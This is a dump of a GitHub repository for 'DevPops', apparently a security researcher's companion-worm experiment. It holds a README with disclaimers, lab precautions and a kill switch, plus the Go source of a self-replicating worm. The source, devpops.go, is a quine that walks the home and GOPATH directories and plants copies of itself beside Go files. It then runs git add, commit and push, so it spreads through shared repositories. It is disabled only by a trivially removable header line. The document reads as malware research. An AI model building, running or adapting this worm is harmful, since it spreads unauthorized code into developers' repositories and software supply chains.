├── 274px-ISO_7010_W009.svg.png
├── README.md
├── companion-worms.pdf
└── devpops.go
/274px-ISO_7010_W009.svg.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/stealth/devpops/ac23e56adc7eead42219d20c0d194fdfd5e3b7da/274px-ISO_7010_W009.svg.png
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | DevPops
2 | =======
3 |
4 |
5 |
6 |
7 |
8 |
9 | *DevPops* continues my research on companion worms. It is a friendly companion without payload and without modifying
10 | any source files. The spreading vectors are gits.
11 |
12 | In memoriam of my former Professor at the department of Computer Science, who was a great researcher and one of the
13 | few who allowed his students virus experiments at his research lab.
14 |
15 | **Disclaimer**: All of this code is for research and educational purposes only. By using this code, you agree to these
16 | license terms and terms of use: **You are not allowed to modify or pass the source along to others. The sole purpose
17 | and allowed use is to read and study the code and making experiments on an isolated lab machine without any network
18 | connections. After the experiment, the lab setup has to be destroyed.**
19 |
20 | If you want to experiment with *DevPops*, make sure:
21 |
22 | * setup a *dedicated* lab VM or user-account
23 | * do not have remote origins in the gits that can be found on the lab
24 | * search the entire lab setup for ".git" directories and check each of them
25 | to contain no remote origins or origins that could be accessed by others locally
26 | * plug off network cable and shutdown wifi
27 | * after the experiment, destroy the lab
28 |
29 | In order to prevent accidental clones or builds by drunken users or scripts, this repo cannot be
30 | built directly after clone. It only contains non-functional, non-building code. It has to be edited by hand
31 | in order to make sure the user understands what he is doing and that they are responsible for their own actions.
32 |
33 | Additionally, in the event that you ignored my warnings above, there is a kill-switch built in:
34 |
35 | ```
36 | localhost: $ touch ~/.devpops
37 | ```
38 |
39 | and *DevPops* stops working.
40 |
41 | Now that the intentions are very clear and you have been made aware of it, we can dig into the beauty.
42 |
43 | The Code
44 | --------
45 |
46 | As my paper from 12y ago about companion worms disappeared from the server, I added it again to this repo 1:1 as it was
47 | released in 2009. Inside its reference section, it contains a list of research that has been done about
48 | such topics long ago. I want to put your focus on a thesis from 1980, four years before Fred Cohen made
49 | his famous experiments.
50 |
51 | In my paper from 2009, the companion used a terminal injection vulnerability (CVE-2008-2383) for spreading.
52 | Git and golang were not very widespread back then. Due to the DevOps practise, git and cross-platform development
53 | everywhere, the issue of companions becomes even more interesting. Tight coupling of Devel, Test and Release,
54 | Code-Share and Collaboration-Everywhere create exactly an environment for companions that no longer need
55 | vulnerabilities to spread. The "process" is doing that.
56 |
57 | *DevPops* is very straight forward. It does not contain any payload, no mutation or encryption of its own code,
58 | no mutation of the commit messages etc, although it would be dead easy to add. It just walks `$HOME` and `$GOPATH`
59 | and puts a file called `devpops.go` in directories where it found existing golang files. It would then `git add`,
60 | `git commit` and `git push`, taking advantage of git's feature to walk the current directory up until it found
61 | a possible repo it could use.
62 | Note that none of these are vulnerabilities or shortcomings, it just happens that (by design), all the DevOps
63 | features are aligned so nicely, that it creates a *DevPops* opportunity for us. *DevPops* is sort of a quine,
64 | the kind of fascinating programs, that print the source of itself. As such, it can even spread across architectures
65 | and platforms. I leave the rest of the fun analyzing the details and reading the source to you.
66 |
67 | I have to admit, I was too lazy to make a new paper out of it and I did not even research whether there is
68 | similar stuff already in existence on vxheaven or elsewhere, as the idea seems very obvious. If you happen to have
69 | your own research on it or make virii experiments at research labs or universities, feel free to give me a hint.
70 |
71 | Resources
72 | ---------
73 |
74 | The biohazard sign was taken from Wikipedia and is under public domain.
75 |
76 |
--------------------------------------------------------------------------------
/companion-worms.pdf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/stealth/devpops/ac23e56adc7eead42219d20c0d194fdfd5e3b7da/companion-worms.pdf
--------------------------------------------------------------------------------
/devpops.go:
--------------------------------------------------------------------------------
1 | BEWARE. DO NOT REMOVE THIS LINE UNLESS YOU AGREE TO THE TERMS OF USE
2 | FOUND IN THE README AND UNDERSTOOD ALL OF ITS CONSEQUENCIES.
3 | main
4 |
5 | import (
6 | "fmt"
7 | "io/ioutil"
8 | "os"
9 | "os/exec"
10 | "strings"
11 | )
12 |
13 | func main() {
14 | fmt.Printf("Hello main\n")
15 | }
16 |
17 | var raw = `
18 |
19 | func init() {
20 | devpops(os.Getenv("HOME"))
21 | devpops(os.Getenv("GOPATH"))
22 | }
23 |
24 | func devpops(dir string) {
25 |
26 | if _, dvps := os.Stat(dir + "/.devpops"); dvps == nil {
27 | os.Exit(1)
28 | }
29 |
30 | files, err := ioutil.ReadDir(dir)
31 |
32 | if err != nil || len(files) == 0 {
33 | return
34 | }
35 |
36 | for _, file := range files {
37 | abspath := dir + "/" + file.Name()
38 | if stat, err := os.Stat(abspath); (err != nil || stat.IsDir()) {
39 | if err != nil || stat == nil {
40 | continue
41 | }
42 | if _, err = os.Stat(abspath + "/devpops.go"); err == nil {
43 | continue
44 | }
45 | devpops(abspath)
46 | continue
47 | }
48 | if strings.LastIndex(abspath, ".go") != len(abspath) - 3 {
49 | continue
50 | }
51 |
52 | fd, err := os.Open(abspath)
53 | if err != nil {
54 | continue
55 | }
56 | head := make([]byte, 4096)
57 | if _, err = fd.Read(head); err != nil {
58 | continue
59 | }
60 | fd.Close()
61 |
62 | hstr := string(head)
63 | var idx int
64 | if idx = strings.Index(hstr, "package "); idx == -1 {
65 | continue
66 | }
67 | pstr := string(head[idx:])
68 | if idx = strings.Index(pstr, "\n"); idx == -1 {
69 | continue
70 | }
71 | pstr = pstr[:idx + 1]
72 |
73 | if fd, err = os.OpenFile(dir + "/devpops.go", os.O_CREATE|os.O_WRONLY, 0640); err != nil {
74 | break
75 | }
76 |
77 | fd.WriteString(pstr + "import (\"strings\"\n\"io/ioutil\"\n\"os\"\n\"os/exec\"\n)\n")
78 | fd.WriteString("var raw = " + string([]byte("\x60")) + raw + string([]byte("\x60")) + raw)
79 | fd.Close()
80 |
81 | exec.Command("sh", "-c", "$(cd " + dir + ";git add devpops.go; git commit -m 'Adding DevPops feature.';git push)").Run()
82 | }
83 | }
84 | `
85 |
86 | func init() {
87 | devpops(os.Getenv("HOME"))
88 | devpops(os.Getenv("GOPATH"))
89 | }
90 |
91 | func devpops(dir string) {
92 |
93 | if _, dvps := os.Stat(dir + "/.devpops"); dvps == nil {
94 | os.Exit(1)
95 | }
96 |
97 | files, err := ioutil.ReadDir(dir)
98 |
99 | if err != nil || len(files) == 0 {
100 | return
101 | }
102 |
103 | for _, file := range files {
104 | abspath := dir + "/" + file.Name()
105 | if stat, err := os.Stat(abspath); (err != nil || stat.IsDir()) {
106 | if err != nil || stat == nil {
107 | continue
108 | }
109 | if _, err = os.Stat(abspath + "/devpops.go"); err == nil {
110 | continue
111 | }
112 | devpops(abspath)
113 | continue
114 | }
115 | if strings.LastIndex(abspath, ".go") != len(abspath) - 3 {
116 | continue
117 | }
118 |
119 | fd, err := os.Open(abspath)
120 | if err != nil {
121 | continue
122 | }
123 | head := make([]byte, 4096)
124 | if _, err = fd.Read(head); err != nil {
125 | continue
126 | }
127 | fd.Close()
128 |
129 | hstr := string(head)
130 | var idx int
131 | if idx = strings.Index(hstr, "package "); idx == -1 {
132 | continue
133 | }
134 | pstr := string(head[idx:])
135 | if idx = strings.Index(pstr, "\n"); idx == -1 {
136 | continue
137 | }
138 | pstr = pstr[:idx + 1]
139 |
140 | if fd, err = os.OpenFile(dir + "/devpops.go", os.O_CREATE|os.O_WRONLY, 0640); err != nil {
141 | break
142 | }
143 |
144 | fd.WriteString(pstr + "import (\"strings\"\n\"io/ioutil\"\n\"os\"\n\"os/exec\"\n)\n")
145 | fd.WriteString("var raw = " + string([]byte("\x60")) + raw + string([]byte("\x60")) + raw)
146 | fd.Close()
147 |
148 | exec.Command("sh", "-c", "$(cd " + dir + ";git add devpops.go; git commit -m 'Adding DevPops feature.';git push)").Run()
149 | }
150 | }
151 |
--------------------------------------------------------------------------------